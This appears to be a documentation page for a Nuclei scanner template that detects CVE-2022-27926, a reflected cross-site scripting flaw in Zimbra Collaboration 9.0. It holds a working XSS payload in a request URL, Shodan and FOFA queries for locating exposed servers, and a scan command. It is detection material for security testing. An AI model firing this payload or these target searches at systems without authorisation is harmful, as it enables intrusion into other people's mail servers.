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Zimbra Collaboration (ZCS) - Cross Site Scripting

ID: CVE-2022-27926

Severity: medium

Author: rootxharsh,iamnoooob,pdresearch

Tags: cve,cve2022,zimbra,xss,kev

Description

Section titled “Description”

A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.

YAML Source

Section titled “YAML Source”
id: CVE-2022-27926


info:
  name: Zimbra Collaboration (ZCS) - Cross Site Scripting
  author: rootxharsh,iamnoooob,pdresearch
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Zimbra to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27926
    - https://wiki.zimbra.com/wiki/Security_Center
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-27926
    cwe-id: CWE-79
    epss-score: 0.96153
    epss-percentile: 0.99504
    cpe: cpe:2.3:a:zimbra:collaboration:9.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - app="zimbra-邮件系统"
      - icon_hash="475145467"
      - icon_hash="1624375939"
  tags: cve,cve2022,zimbra,xss,kev


http:
  - method: GET
    path:
      - "{{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>Title???'


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
# digest: 490a00463044022063170735a959e75a011150df21a5f32fb3a4f13f756dac5a66874d7b0bec433b02206d205f48b8da84e89559f8cfc4e7da0ac669befe864dc2d61fa0f55f2a499b46:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-27926.yaml"

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